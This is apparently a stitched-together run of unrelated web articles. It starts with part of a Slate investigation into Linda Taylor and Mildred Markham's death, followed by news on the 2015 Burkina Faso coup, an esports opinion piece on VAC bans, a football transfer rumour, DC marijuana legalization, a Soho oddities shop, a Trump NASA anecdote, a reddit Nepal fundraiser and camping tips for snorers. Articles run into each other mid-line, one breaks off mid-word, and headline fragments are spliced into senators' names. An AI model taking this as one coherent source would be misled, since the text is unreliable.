Taylor and Markham met in Chicago in the early 1980s. Markham’s husband James, a retired Pullman porter, earned a good salary in his day. Soon after he passed away, Taylor convinced the railroad man’s widow that she was her long-lost daughter. “All [Mildred] used to do was talk about this Linda,” recalls Markham’s granddaughter, Theresa Davis, who is 75 and still lives in Chicago.
By the time she fell under the sway of her new “daughter,” Mildred Markham was well into her 70s. Davis and her mother tried to convince Markham that Taylor was a con artist, but she wouldn’t listen. Markham went with Taylor to Momence, Ill. From there, they moved to Florida. All the while, according to Davis, “my grandfather’s money was going out the bank.” She says that as much as $50,000 went missing, along with Markham’s furniture, sewing machine, jewelry, and mink coats. And in 1985, Mildred deeded away 185 acres of Markham family land in Mississippi. The grantees were Linda Lynch and her son Clifford. For his part, Clifford says he had no idea that his name was on the deed, and that he played no part in this land deal.
Lincoln County, Miss., Chancery Clerk
Davis says she and her mother eventually saw evidence of their worst fears: Markham wrote them from Florida saying, without getting into specifics, that she was being mistreated. They tried to find Mildred, but all the addresses on her letters turned out to be phony.
Johnnie and Carol Harbaugh say they saw that abuse firsthand. Johnnie worked as a trucker back then, and he and his wife would see Taylor two or three times a year. She was living on a farm in Graceville, Fla., along with Willtrue Loyd and Mildred Markham.
Once, when the Harbaughs were in Florida for a visit, Markham begged them to take her back to Chicago. Carol says Taylor was verbally abusive, and that she watched her lock Markham in a room. Markham also told them that she wasn’t being fed. “She was forced to be there against her will,” Carol says.
They did not rescue Mildred Markham. Johnnie says that he was determined to take her but that she changed her mind at the last minute and decided to stay. In Carol's recollection, Taylor told Johnnie, “You even think about it, and I’ll blow your head off.” She says her husband took the threat seriously, and he decided not to get involved.
Mildred Markham died on Oct. 5, 1986. Her death certificate says she passed away of “presumed natural causes,” and that she had previously suffered a stroke. The Graceville police department reported that her husband, Willtrue Loyd, found her body in bed.
Carol Harbaugh says she thought Loyd and Markham had gotten married. Florida records suggest that was probably the case. In March 1986, Loyd married a woman named “Constance Rayner” in Marianna, Fla. The marriage application says Constance’s home state is Louisiana; Theresa Davis says that’s where her grandmother, Mildred Markham, was born. The bride signed her supposed maiden name, Constance Wakefield, in a looping script. It’s a shaky signature, one that doesn’t much resemble Linda Taylor’s tidy penmanship.
Florida Medical Examiner, District 14. Graphic by Slate.
Taylor always took something from her prey. But this marriage record, with the telltale Wakefield surname, shows that even as she sucked this older woman dry, Taylor was grafting parts of herself onto Mildred Markham.
Markham’s medical examiner’s file lists her name as Mildred Constance Raner Loyd. Her death certificate (which misspells her first name) indicates that she’s a citizen of Trinidad, and her parents’ names are Frank Raner and Edith Wakefield. According to her granddaughter, Mildred Markham’s maiden name was actually Hampton, and she was born in the United States. Markham’s mother was not Edith Wakefield—back in the 1960s, Linda had tried to convince a judge that Edith Jarvis Wakefield was her own mother. When Markham was still alive, Taylor made her believe that they were mother and daughter. In death, she slotted Markham into her long-running, fictional life story.
As in the cases of Patricia Parks and Sherman Ray, Taylor stood to gain financially from Mildred Markham’s death. Mildred’s medical examiner’s file includes letters from Union Fidelity Life Insurance and Gulf Life Insurance, both of which were looking to verify the claims of one “Linda Lynch,” the decedent’s daughter. The file also contains a note in which someone, presumably the medical examiner’s assistant, writes that Markham’s daughter “took out insurance policies at varied times using different names (marriages).” The daughter needed a letter to clear up this misunderstanding, and the medical examiner complied. “To the best of my knowledge Mildred Constance Raner Loyd, Constance Loyd, and Mildred Rayner are one in the same person,” he wrote.
Florida Medical Examiner, District 14. Graphic by Slate.
That wasn’t the only confusion about Mildred Markham’s death. On May 15, 1987, Dr. D. Bruce Woodham sent a letter to the medical examiner’s office saying that his patient did not die of natural causes. Woodham, a neurological surgeon, wrote that Markham hadn’t suffered a stroke. Rather, she’d fallen and hit her head. “I believe that Ms. Loyd's death was the result of an injury, she fell, she sustained a subdural hematoma, and she herniated from this, and that caused her demise,” the doctor explained.
On account of Dr. Woodham’s letter, Markham’s death was reclassified as an accident. Regardless, Taylor probably collected on those life insurance policies—so long as there were no accusations of foul play, the companies more than likely paid up.
Dr. Woodham, who is still practicing, says that although he wrote that Mildred Markham fell and hit her head, there’s no way he can know with certainty. He’s not a forensic pathologist, and he doesn’t have the expertise to distinguish between injuries that are consistent with a fall or ones that might come from a car accident or a blunt instrument. Dr. Woodham says he doesn’t remember the particulars of this case, but in general he goes by what he’s told—information provided by a paramedic, or possibly a family member.
Theresa Davis does not believe her grandmother fell and hit her head. She is convinced that Mildred Markham was murdered, and that Linda Taylor is somehow responsible.
Six years after Mildred Markham’s death, her widower Willtrue Loyd died in Florida at age 72. The medical examiner’s report says he succumbed naturally, to heart disease. Loyd’s next of kin is listed as Linda Lynch, his granddaughter. Taylor was only about seven years younger than her “grandfather.” Nevertheless, as Loyd’s supposed heir, she presumably stood to receive the World War II veteran’s benefits. Another death, another check.
A short time after Loyd passed away, Johnnie Harbaugh and his wife were on vacation in Florida. He says it was around 1994, and Johnnie’s sister Sandra called to say their mother was in bad shape. “She was a mess when we found her,” Carol Harbaugh says. Taylor was living in Tampa. She’d had several face lifts, and she was wearing raggedy clothes and shoes that were too big for her. She was also “making crazy things up,” clearly in the throes of dementia.
Johnnie wanted to leave Linda in Florida, but he brought her back to Chicago out of a sense of obligation. “She is my mother,” he says. She lived with Johnnie for a short while, then moved in with Sandra. For the next decade, their mother continued her mental and physical decline. In 2002, she was hospitalized.
“I don’t know what made me go to the hospital the day that she passed away, but I went there [for] maybe 20 minutes,” Johnnie says. The last thing she told her son was that she had a spider in her chest. She was pounding herself with her fist, Johnnie recalls, trying to kill this imaginary arachnid. It was a horrible, pathetic sight. Johnnie couldn’t stand to see it, so he left. His mother died later that day, April 18, 2002, of a heart attack. She was somewhere between 74 and 77 years old.
Cook County Clerk
For Linda Taylor, documents were never simple accountings of the truth. Pieces of paper always told a story—about her identity, her husbands, her children, her parentage, what was owed to her, and who owed it—and that story was usually self-serving, contradictory, and false. That didn’t change just because she was dead.
Her death certificate, compiled from information provided by her daughter Sandra Smith, is a blend of truth, lies, and conjecture. The welfare queen’s name is rendered as Constance Loyd, which it wasn’t. Her date of birth is listed as Dec. 25, 1934. It wasn’t. She’s described as a homemaker, which she wasn’t. Her father and mother are given as Lawrence Wakefield and Edith Elizabeth Jarvis. They weren’t. Her race is white—the same as in the 1930 and 1940 census. Among her itemized medical conditions is bipolar disorder. That may be true, or it may be a fabrication.
The welfare queen was cremated. She has no gravestone. For a few years in the 1970s, Linda Taylor’s name was synonymous with greed and sloth. Now she was dead, and nobody noticed.
12 “She Beat the System”
Linda Taylor’s welfare fraud trial set off a tidal wave of prosecutions. After securing the welfare queen’s conviction, Assistant State’s Attorney James Piper was placed in charge of a special welfare fraud unit. In its first year, Piper’s crew indicted 241 people. “I think the welfare queen Linda Taylor brought about a change in thinking,” Piper told the Tribune. “Millions each year are being stolen and we decided to do something about it.”
With news of indictments streaming across the front pages of the Tribune and Sun-Times, Illinoisans increasingly saw welfare fraud as a public danger. In a 2007 paper in the Journal of Social History, Julilly Kohler-Hausmann reports that a 1978 poll of Illinois voters found “that 84 percent ranked controlling welfare and Medicaid fraud and abuses their highest legislative priority.” The Tribune encouraged its readers to hunt down welfare cheats, regularly promoting a fraud hotline set up by the Department of Public Aid. In 1977 alone, that hotline received 10,047 calls. In 1979, close to 2,000 cases of potential welfare fraud were referred to law enforcement in Illinois, an increase of 1,015 percent since 1971.
Illinois embodied a nationwide trend. According to Kohler-Hausmann, welfare fraud investigations increased 729 percent across the country between 1970 and 1979. This wasn’t because fraud was on the rise, she argues—it was because Illinois and other states criminalized welfare overpayments that had once been handled administratively. The rising level of prosecutions didn’t correspond to an increase in benefit levels either. In fact, monthly welfare benefits (that is, payments via Aid to Families With Dependent Children and, after President Bill Clinton’s 1996 welfare reform legislation, Temporary Assistance for Needy Families) began a long, steady decline in real dollars around the time of Taylor’s trial, one that’s continued to the present day.
It’s impossible to define the exact scope of welfare fraud in America then or now. A 1983 publication sponsored by the Department of Justice, for example, estimated annual Aid to Families With Dependent Children overpayments at between $376 million and $3.2 billion—not exactly a precise range. What’s clear, though, is that Linda Taylor’s larger-than-life example created an indelible, inaccurate impression of public aid recipients.
The plural of anecdote is not data. The plural of the craziest anecdote you’ve ever heard is definitely not data. And yet, the story of the welfare queen instantly infected the policy debate over welfare reform. Sociologist Richard M. Coughlin notes that in 1979, AFDC families had a median of just 2.1 children and a very low standard of living compared to the average American. In 2013, Bureau of Labor Statistics data continue to bear out the stark economic gap between families on public assistance and those who are not. Linda Taylor showed that it was possible for a dedicated criminal to steal a healthy chunk of welfare money. Her case did not prove that, as a group, public aid recipients were fur-laden thieves bleeding the American economy dry.
If Linda Taylor had been seen as a suspect rather than a scapegoat, lives may have been saved.
Even so, Ronald Reagan regularly dusted off the welfare queen’s lurid misadventures, arguing that rampant fraud demanded decisive government action. In pushing for welfare reform as president in 1981, he told members of Congress that “in addition to collecting welfare under 123 different names, she also had 55 Social Security cards,” and that “there’s much more of [this type of fraud] than anyone realizes.” The recent debate over cuts to the federal food stamp program, too, has featured Republican claims that we can save $30 billion by “eliminating loopholes, waste, fraud, and abuse.”
In truth, Reagan wrung savings out of the federal welfare program by slashing benefit levels and raising eligibility requirements. And with regard to today’s food stamp cuts, as Eric Schnurer explains in the Atlantic, “none of the savings actually come from fraud, but rather from cutting funding and tightening benefits.”
If Linda Taylor had been seen as a suspect rather than a scapegoat, lives may have been saved. Prosecutors have great discretion in choosing what cases to bring—that’s how the rate of welfare indictments could shoot up so dramatically in a single decade. When politicians and journalists whip the public into a frenzy about welfare fraud, the limitations of municipal budgets and judicial resources dictate that less attention be paid to everything else. Linda Taylor’s story shows that there are real costs associated with this kind of panic, a moral climate in which stealing welfare money takes precedence over kidnapping and homicide.
Taylor was a hard woman to pin down. She was canny, incorrigible, and mobile in a relatively primitive technological era, one in which a determined lawbreaker could make it very difficult to follow her tracks. To gather enough evidence to convincingly tie Taylor to her most serious crimes, the Chicago Police Department would’ve needed to commit to the effort fully. Clearly, they did not. In preventing Jack Sherwin from devoting his abundant energy to stopping the Windy City’s most resourceful criminal, the Chicago police prioritized day-to-day bureaucratic expedience. Sherwin says he wanted to trace Taylor’s husbands and find out what happened to every one of them, but he couldn’t get the go-ahead. He says he “wasn’t given the leeway to do what I really wanted to do.”
When cops and prosecutors let Taylor slip through their grasp, they weren’t just setting a dangerous woman loose. They also tossed away their institutional memory of her past schemes. Given the confusion she intentionally sowed, her only match was someone like Sherwin, who’d spent countless hours puzzling out her methods and movements. If Sherman Ray or Mildred Markham had turned up dead in Chicago, then law enforcement hopefully would have been wise enough at that point to launch a full-blown investigation. But Taylor was too smart for that. Once she got her freedom, she relocated to Momence and Graceville, places where nobody knew her many names.
Jack Sherwin lost track of Linda Taylor a long time ago. When I tell him that his greatest antagonist died in Chicago in 2002, he says he doesn’t condone anything she did, but that “in her own way, she was a great person. She beat the system.”
Patricia Parks-Lee says she gets a small amount of comfort from knowing that Taylor is dead, but it doesn’t bring her any closure. “My mom is gone,” she says. “I’ll never get answers to my questions. I’ll never know why she did what she did.”
Chester and Dora Fronczak never found their son Paul Joseph. Two years after he was kidnapped from a Chicago hospital, the Fronczaks adopted a child who’d been found abandoned in New Jersey. They were certain this was their missing son, christening him Paul Joseph and raising him as if he were the baby that had been taken from them.
Just more than a year ago, the Fronczaks’ adopted son posted a short note on a message board called “Orphan Memories”:
Hi, I was identified by the FBI as Paul Joseph fronczak, the kidnapped baby from Michael Reese hospital in Chicago, IL.... I was abandoned in newark nj on July 2, 1965, found in a stroller outside a variety store. I was placed in an orphanage. When the FBI found me, I was placed in a foster home and given the name "Scott McKinley." I have just found out that I am not Paul Joseph fronczak. I need help to find out who I am.
This ersatz Paul Joseph is now on a quest to find his true identity. He’s also trying to find the baby that was taken from his adoptive parents. The FBI says it’s pursuing new leads, and ABC’s Barbara Walters recently hosted a 20/20 special on the Fronczak mystery. The man raised as Paul Joseph Fronczak, who is 49 years old (he thinks) and lives in Nevada, tells me that he was not aware of Linda Taylor’s potential connection to the 1964 kidnapping. Special Agent Joan Hyde, the media coordinator for the FBI’s Chicago field office, says the bureau will not comment on an active investigation.
Johnnie Harbaugh says he left his criminal ways behind in the 1970s, and insists that he’s no longer the man his mother raised. But his life hasn't been easy. He’s most often unemployed, and he and his wife struggle to pay their bills with his granddaughter, his son, and his son’s girlfriend living under his roof. He’s got several cars in his garage in Chicago’s northwest suburbs: a truck, a PT Cruiser. He waits until he’s almost broke and then he sells one.
Photo by Josh Levin
Johnnie believes that his mother was capable of almost anything—that for her, family was a means to an end. His wife Carol says that after Taylor got out of prison, they learned to put padlocks on their interior doors to protect their property and themselves. Johnnie tells me his mother tried to poison him with castor oil when he was 2 or 3 years old. His older brother Cliff told him that if he hadn’t taken Johnnie and run away, then he would’ve been dead.
Eleven years after his mother died, there’s one mystery that Johnnie isn’t sure he wants to solve. Johnnie Gilbert Harbaugh’s birth certificate says he was born on Jan. 7, 1950 in Blytheville, Ark. That document, though, wasn’t issued until May 29, 1957.
There are plenty of legitimate reasons to file for a delayed birth certificate—it’s possible that Johnnie’s birth, in rural Arkansas, wasn’t recorded right away. Johnnie Harbaugh’s mother, though, once used just such a document as a means of deception: In the 1960s, she procured a delayed birth certificate to prove she was “Constance Wakefield,” Lawrence Wakefield’s daughter.
When he was a child, Johnnie says, he’d see birth certificates just lying around the house. Is his own birth record a phony?
“I might have even been somebody else’s kid,” he says. “She might have grabbed me when I was a baby.” He thinks it’s likely he was stolen, that he belongs to someone else. “I’ve always felt like that, even as a kid, even as far back as I can remember.”
Over the years, he says, he had several people back in Arkansas pull him aside and say they’d tell him his life story one day—who he is, and who his mother is. But those conversations have never happened. Now, most of the people who might know the truth are dead.
At one point, he tells me that none of it really matters. “Not to me it doesn’t,” he says. “I got a last name, and that’s all that matters to me.” Then he changes his mind, saying it might be nice to know the truth. Maybe his real parents are out there. Maybe they’re good people. Maybe they miss their son. “Hey,” he says hopefully, “maybe they’re rich.”OUAGADOUGOU (Reuters) - Burkina Faso soldiers met little resistance on Tuesday as they entered a presidential guard camp in the capital where members of the elite unit were holding out after a coup, an army officer said.
Soldiers guard positions near the Naaba Koom military base in Ouagadougou, Burkina Faso, September 29, 2015. REUTERS/Arnaud Brunet
Residents of the Ouaga 2000 district in the capital Ouagadougou said they heard bursts of gunfire in the late afternoon as troops, who had surrounded the base for most of the day, moved in.
However, the officer, who was in command of part of the operation, said General Gilbert Diendere, the leader of the short-lived coup, was not in the camp.
“The armored vehicles entered the camp without much resistance. But he wasn’t there. We don’t totally control the camp, but we’re carrying out clean-up operations,” said the officer, who asked not to be named.
He said Diendere’s vehicle had been destroyed by soldiers near the Vatican’s diplomatic compound, and the general was believed to have sought refuge inside.
“I’m in a safe place. I’m not in the camp,” Diendere told Reuters by telephone, declining to give further details of his whereabouts.
An army spokesman said earlier in the day that about 300 of the presidential guard’s estimated 1,200 soldiers had surrendered at a second camp in the capital. Regular army troops had taken control of strategic locations previously occupied by the renegades, he said.
The Presidential Security Regiment (RSP) took the president, prime minister and several cabinet members hostage on Sept. 16 and named Diendere, former right-hand man of ousted president Blaise Compaore, as leader of the subsequent junta.
The coup lasted a week and the government was restored last Wednesday, formally disbanding the presidential guard during its first post-coup cabinet meeting. Regular troops began disarming the RSP over the weekend.
Related Coverage Gunfire heard near Burkina presidential guard camp: residents
The army’s chief of staff said on Monday, however, that some RSP officers were refusing to participate in the process and accused Diendere of hindering the disarmament and of seeking support from foreign forces and Islamist militants.
Speaking on Tuesday, Diendere denied he had sought outside help. He said he accepted the government’s decision to disband the RSP and had been seeking to defuse the stand-off at the regiment’s camp.
“Just before the attack, I called upon the men to lay down their weapons,” he said. “Unfortunately that call was not well heeded... There was certainly fighting, but I don’t know what really happened.”
Gendarmes on Tuesday arrested Compaore’s former foreign minister Djibril Bassole, who the government accused of backing Diendere and the RSP hold-outs.
Bassole had been considered among the favorites in a presidential election scheduled for Oct. 11, before he was banned from participating by the constitutional court.
The polls, which may be delayed due to the coup, are meant to restore democratic rule in Burkina Faso a year after mass demonstrations forced Compaore from power as he attempted to extend his 27-year rule.
Diendere cited the court decision, which barred Bassole and other candidates due to their support for Compaore’s plan to change the constitution, as among the primary reasons for launching his coup attempt.
At least 11 people were killed and 271 injured as the presidential guard crushed protests against their actions.
The government has ordered an inquiry to determine who was responsible for the coup, and the state prosecutor on Saturday froze the accounts of Diendere and 13 others suspected of links to the putsch.
Slideshow (6 Images)
Compaore is in Morocco for medical treatment but was due on Tuesday to fly to Ivory Coast, Burkina Faso’s southern neighbor, where he has spent the bulk of his time since he fled Ouagadougou last year.
Ouagadougou’s international airport was closed on Tuesday.ESL has recently made a change to their rules which allows players who have received a VAC (Valve Anti-Cheat) Ban to play in ESL events, as long as two years have passed since the ban’s issue date. However, they have remained firm on the ban of the former iBUYPOWER core roster: steel, swag, AZK, and DaZeD. ESL stated that they wanted to remain consistent throughout all bans from CS:GO (ESL uses their own anti-cheat system called ESL Wire that has a 2-year suspension from ESL competitions). Whatever remaining fans of the former “stars” KQLY, sf, or emilio (just to name a few notable banned players) were excited to see their players have a second chance at glory. The rest of the Counter-Strike community (myself included) is outraged at ESL’s decision.
Although VAC is great at detecting cheaters, it is not perfect. Cheaters occasionally slip through the cracks in the software, and third-party websites like ESL, faceit, and ESEA all take additional measures to prevent cheating by using their own software that detects more “strains” of cheats. A VAC ban prohibits players from playing on VAC-secured servers, and a message is displayed on the banned player’s profile stating the number of accumulated VAC bans (but it doesn’t explicitly state the game), and the number of days since the last ban. Along with this, CS:GO has a feature in-game called Overwatch that lets experienced players review match demos of players who have been reported for cheating and/or griefing (team-killing, intentionally losing matches, going AFK for extended periods of time, etc). Cheating can take the form of aim assistance, where a player uses software that aims automatically for players. A player can also use vision assistance, which allows them to see enemies through walls. There are other ways to cheat such as creating a bunnyhopping script to allow the player to move faster than normal, but these are not as prevalent. Cheating ruins the integrity of Counter-Strike, and should be treated with a zero-tolerance policy on any level of play.
Sadly, there is another method of cheating that only occur on a professional level: match fixing. The most well-known case of match fixing occurred on August 20, 2014 where iBUYPOWER intentionally lost a match against NetcodeGuides.com. On January 26, 2015, Valve released a statement banning all of the iBUYPOWER players (with the exception of Skadoodle because he didn’t share any of the profit from the match) from Valve-sponsored events “indefinitely.” This is the most popular occurrence, but Richard Lewis recently provided new evidence suggesting that match fixing happens more often than people think on a semi-professional level. The players that have been banned by Valve are also banned by most other third-party sites’ leagues. For example, ESEA lets those players play in Rank S (a PUG system for pro players), but does not allow them to play in leagues.
Although ESL claims that they want consistency in their bans, section 2.4.3 of the IEM Rulebook states that “betting against yourself… will be punished by disqualification… and a minimum of twelve months ESL-ban.” Why isn’t this a two-year ban? Wouldn’t that be more “consistent?” What makes fixing a single online match worse than cheating in who knows how many tournaments? Numerous pro players have the same opinion on this issue. A VAC ban prevents players from using official Valve servers (which are basically the entire game) forever, so these players shouldn’t be able to use third-party sites either. Even though the players can play again in ESL events, it doesn’t mean that they can play anywhere else. It also doesn’t mean that a team will want to pick them up. They will never be able to play in a Major, so no team will want to form with a player who can’t compete at the highest level. ESL will also probably not be hosting a Major anytime soon, as fans have been very vocal about ESL’s decreasing production quality.
Although I don’t think the players would cheat again, I would feel uncomfortable playing with someone who has cheated in the past. Even though I started following the pro scene after these players got banned, I still heard about them. The term “KQLY shot” is still used today when playing on Dust II while trying to land a jumping AWP shot on A site. Although emilio isn’t talked about as much in-game, I quickly found out about him on YouTube and how he was banned in the middle of a match against HellRaisers. These players have a lasting legacy of cheating, and in my opinion, will never be able to play on a tier-one level again. It has been over a week since people noticed these rule changes, and none of them have made announced joining a team.
I feel the same way about iBUYPOWER, but it seems like the community thinks that they should be allowed to play again. Match fixing is much easier to hide, and there isn’t really any way to know that they would or wouldn’t fix matches again. iBP was probably the top team in North America at the time of their ban, so it is sad to see that all of that talent was destroyed. However, they made a horrible decision, and should pay the price for it. If they were smart enough to think about their future, they wouldn’t have done something as ridiculous as throwing a match for money. The CS scene has grown tremendously since the time of their ban, and the former iBP roster would have made more money if they were still officially competing today. I watch DaZeD and steel’s YouTube videos all the time, so I know that they can still compete with top players in North America.
In my opinion, ESL’s rule change was ridiculous and stupid. Cheating and match fixing both ruin the integrity of this sport, and there is no legitimate reason why any of those players should ever be allowed to compete again. The VAC-banned pros need to stay on their “VACation” forever, and should be treated the same as every VAC-banned player. If ESL is going to lift the bans from cheaters, then they should also lift the bans from the match fixers because they are just as serious as each other. Many people argue that the iBP players “deserve a second chance,” and that Valve’s ban was “too harsh.” These players knew what they were risking, and now they have to pay the price for what they’ve done. As previously stated, this ban probably just gave these players a sense of false hope, because there is no way they will be able to truly play at the highest competitions again because the Majors are sponsored by Valve.The Times. A couple of Premier League sides were interested in the Frenchman, including Newcastle United and Arsenal, and both recently held advanced talks with the 23-year old, who has been capped by France at youth and senior levels. There is also interest from Italian sides AC Milan and Juventus, but it is thought Spurs lead the race for his signature. The Londoner's almost signed the player four years ago when he first emerged as a powerful and energetic player at Toulouse, the side he has played for since 2007. He has entered the final six months of his contract with the Lige 1 outfit however, and is free to sign a pre-contract agreement with a foreign side as of this month. That could pave the way for Andre Villas-Boas to make a move for the imposing 6 ft midfielder as he seeks to add some steel to his midfield. Sissoko has made 191 appearances for Toulouse, and has scored 23 career goals, with 9 assists. He has also been capped 5 times by France, but failed to make the team for the 2010 FIFA World Cup in South Africa.Adam Eidinger, chairman of the D.C. Cannabis Campaign,encourages people to vote yes on Ballot Initiative 71 to legalize small amounts of marijuana for personal use. (Michael S. Williamson/The Washington Post)
Who will have the biggest party on election night in Washington, D.C.?
Republicans may win control of the Senate for the remainder of President Obama’s term, but legalized marijuana seems destined to produce a haze of euphoria across the nation’s capital that will be hard to top.
But please, say advocates for legalization, don’t celebrate Tuesday night by lighting up outside the White House or any other spot that could produce a made-for-cable-news spectacle — and, for that matter, still get you arrested.
“We’re not going to do it on the street, I will be upset if I see people smoking weed on the streets,” said Adam Eidinger, a longtime supporter of marijuana legalization in the District who helped lead the effort to get the legalization measure, known as Initiative 71, on the ballot.
Under the measure, the District is poised to follow Colorado and Washington state into the closely watched experiment to legalize marijuana.
The DC Cannabis Campaign made last minute preparations on Monday for a vote that could make possessing and growing marijuana plants legal in the nation’s capital. (Reuters)
Initiative 71 would allow people 21 and older to possess as much as two ounces of marijuana for personal use and to grow up to three marijuana plants at home.
Polls in recent months showed D.C. voters backing the measure by a margin of almost 2-to-1. Early voting appeared to follow suit, with 64 percent in favor of legalization among the first 25,746 votes cast.
If it passes, a majority of the D.C. Council has vowed to also take up legislation early next year that would establish a system to sell and tax marijuana, similar to regulatory schemes now in place in Colorado and Washington.
Initiative 71, as well as any legislation that goes further and allows for legal sale, would face congressional review, and at least one House Republican has already pledged to fight implementation.
Voters in Oregon and Alaska will also take up legalization measures on Tuesday, but polling in those states suggests the contests will be closer. Florida voters are also expected to legalize medical marijuana.
The District dec
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. One can choose from the plethora of luxury boutiques and sift through high-end clothing labels. Or one can indulge in the many scents exiting charming restaurants, which pepper the bustling streets. The historic cast-iron buildings are always available for a quick photo-op, and on the right day (or night) celebrity sightings can occur. Yet Soho has something else to offer, which will result in gawking, wondering, and the option of exiting a store with a human skull tucked under your arm.
Sure the latter may seem somewhat out-of-place in contrast to the boutiques and restaurants, but the truth is that yes, animal skulls, human skulls, and another number of “oddities” can be found within the popular neighborhood.
At 120 Spring Street (closeby to the Trump Soho Condominiums), directly off Broadway, lies The Evolution Store. It’s the only store on the block (and perhaps the only store in Soho) with a human skeleton perched outside its door. A sign adorning a skull dances above the establishment, remnant of a pirate flag (but lacking the danger), and a window display offers a glimpse of what’s to be found on the other side of the door.
For two decades The Evolution Store has possessed its present abode in Soho. Originally starting off as a ‘curiosity shop,’ it is now often confused as a museum. Once inside, however, price-tags are attached to human skeletons, taxidermy animals, framed insects, and a number of fossils, and to many people’s astonishment, everything is up for sale.
Although clouds dropped rain onto the city the day I ventured to The Evolution Store, hushed ‘oohs’ and ‘aahs’ exited a surprisingly large group of customers. They commented on the skeletal remains of animals, stroked the zebra rug, and asked the awaiting staff: “Is this stuff real?”
The manager of the store, Alex Minott was kind enough to meet with me to discuss the sheer oddness of the store. “We offer the trappings of science,” he said to me after we ventured to the second floor. The setup was very museumesque, and during the duration of our interview I couldn’t help catching glimpses of a large crustacean situated over Alex’s shoulder.
Having been manager there for thirteen years, Alex has developed an eye for what will appeal to customers. The foot-traffic of the neighborhood allows for many different people to enter and exit the store. Most remain in an air of awe at where they are and what they’re looking at, while others shudder at the sight of fetal skeletons and framed tarantulas.
Many items within The Evolution Store are sold to people looking to spruce up their homes with objects from the natural world. They sell a number of animal skin rugs, beautiful Geode bookends, phrenology heads, as well as shrunken heads (if you’re into that sort of thing).
The subject of Alex’s own interior decorating came up, and he confessed to being a “fossil nut.” He rattled off an impressive list of items that can be found in his house. “I have quite a collection that I’ve mastered over the years. I do have a collection of different kinds of animal skulls, quite a fossil collection, trilobite collection, animal teeth of various kinds, and I’m very partial to crustaceans.” Although he’s strictly against bear-skin rugs in his own home and isn’t much into the taxidermy department, he does admit to having a stuffed chameleon which he found too interesting to let go.
When asked where the store may have flourished elsewhere in Manhattan, Alex hesitated. He juggled between the West Village and the East Village, until he eventually dropped the question altogether. “Around New York I don’t know where else could have worked,” he says, “Soho is a tourist destination for a lot of people, the fact that we managed to be in this neighborhood for as long as we have, has made us kind of a facet of the neighborhood. I think it helps the tourism.”
For those who find themselves at a loss for fresh ideas when decorating their homes, why not start at a shrunken head, consider a stuffed mountain cat, or indulge in beautifully colored moths and butterflies?President Trump joked Tuesday that it would be a “great idea” to send Congress on an intergalactic — and perhaps one-way — journey into space.
Trump signed a bill Tuesday in the Oval Office that authorized funding for NASA. Flanked by the bill’s co-authors, Sens. Ted Cruz Rafael (Ted) Edward CruzCornyn less popular than Cruz in Texas: poll Trump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington MORE (R-Texas) and Marco Rubio Marco Antonio RubioWhite House pleads with Senate GOP on emergency declaration Sixteen years later, let's finally heed the call of the 9/11 Commission Schumer urges GOP to reject Trump's 'destructive' national emergency MORE (R-Fla.), the legislation asks NASA to send a “crewed mission to Mars in the 2030s.”
The president — who earlier Tuesday pressed Republicans at a closed-door meeting at the Capitol to pass the GOP's ObamaCare repeal bill — praised the nation’s “heroic astronauts,” before noting the difficulty of the profession.
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"It's a pretty tough job," Trump said, according to a White House pool report. He then turned to his former Republican presidential primary opponents and inquired, “I don’t know, Ted, would you like to do it? I don’t think I would.”
Cruz shook his head to express an unwillingness to slip on a space suit.
“Marco, do you want to do it?” Trump then asked Rubio.
“I’m not sure we want to do it,” the president concluded.
But then Cruz offered up some perhaps unwilling space-traveling volunteers.
“You could send Congress to space,” he suggested.
"We could," Trump, who's clashed with lawmakers on both sides of the aisle before, said to laughs as he turned towards Vice President Pence. "What a great idea that could be."We were saddened to hear of the more than 3,000 5,000 people killed and the many more injured in Saturday’s devastating 7.8 magnitude earthquake. We want to help, and we know you want to help, too.
We’ve done some research[1] and found two non-profits that contribute 99% of their donations MAP International and Direct Relief. We worked with Direct Relief to bring reddit contributions of over $185,000 directly to Haiti in 2010. We’re scheduling AMAs with the teams at MAP International and Direct Relief to share more information about how they work and what they’re doing to help.
Here are some additional resources for information: /r/Nepal’s longer list of non-profits, reddit’s live feed with ongoing real-time news updates and images, and Google person finder for found and missing persons.
Let’s try to raise at least as much as we did for Haiti to help earthquake victims in Nepal. There has already been an outpouring of support from redditors across the world, so consider this blog post a request to funnel that energy into impact. We’ll be working with these partner non-profits to bring you all as many updates as we can about how your donations are being used to help all those affected by this disaster.
Just like we did five years ago after the Haiti earthquake, we’re kicking off this initiative with a donation from reddit inc. for $2,000. Time and time again, the communities that make up reddit have risen to the occasion and we have every reason to believe that you all will do it yet again. Let’s help the people of Nepal with more than just our upvotes (but if that’s all you can afford, spreading the word about this fundraiser is a good place to start).
Edit: One of MAP International’s donors has committed to matching contributions up to a total of $30,000 through Saturday, so keep going!Do you snore on backpacking or camping trips? Does it disturb the people you’re with or others who share the same campsite with you? If so, you need to take responsibility for your ‘condition’ and reduce its impact on others. Here are some camping etiquette guidelines for backpackers and campers who snore.
Etiquette for Snorers
If you are a very loud snorer, a so-called “goose-honker”, pitch your tent or camping shelter far away from others – 100 yards should be adequate, especially if there are trees or boulders between you and others.
If you are sharing a trail shelter, lean-to, or tent, tell your companions that you snore before you all go to bed and ask them whether snoring bothers them. If so: Offer to sleep outside, well out of hearing range. Tell them how to get you to stop snoring at night. For example: HIT, KICK, or PUNCH ME! Most people are bashful about moving a snoring sleeper so give them permission in advance. Wake me up and tell me I am snoring. Roll me over onto my side. Offer your shelter-mates sedatives before they go to sleep. Offer your shelter-mates ear-plugs before they go to sleep.
If co-habitation in the same tent or lean-to is unavoidable, reduce or eliminate the volume of your snoring by: Wear breathe-right strips on your nose to help keep your airways more open. Take an antihistamine/decongestent like benedryl before going to sleep if the volume of your snoring is increased by allergies. Don’t drink alcohol before sleeping near others.
Sleep on your side if sleeping on your back causes you to snore. Camping pillows like the Exped Air Pillow UL are surprisingly effective at keeping you on your side at night and can help prevent you from rolling over onto your back. Bring extra sleeping pads like an accordian style Therm-a-Rest Z-lite that you can fold behind your back to prevent you from rolling over onto your back (attach it to another closed cell pad using velcro)
When choosing a campsite, pick one that has a loud white-noise sound source close-by such as a stream, waterfall, rapids, or ocean surf. These natural sounds can help drown out the sound of your snoring and hide it under “white noise.”
Go to sleep after everyone else has. People can often tolerate snorers and sleep through the night if they’re not kept awake by someone who is already snoring nearby.
These are just a few of the tips and tricks I use to reduce or eliminate the impact of my snoring on others when I’m backpacking or camping. Yes – I snore, though intermittently, and not through the night.
How do you limit snoring or keep it from affecting others when you backpack or camp?
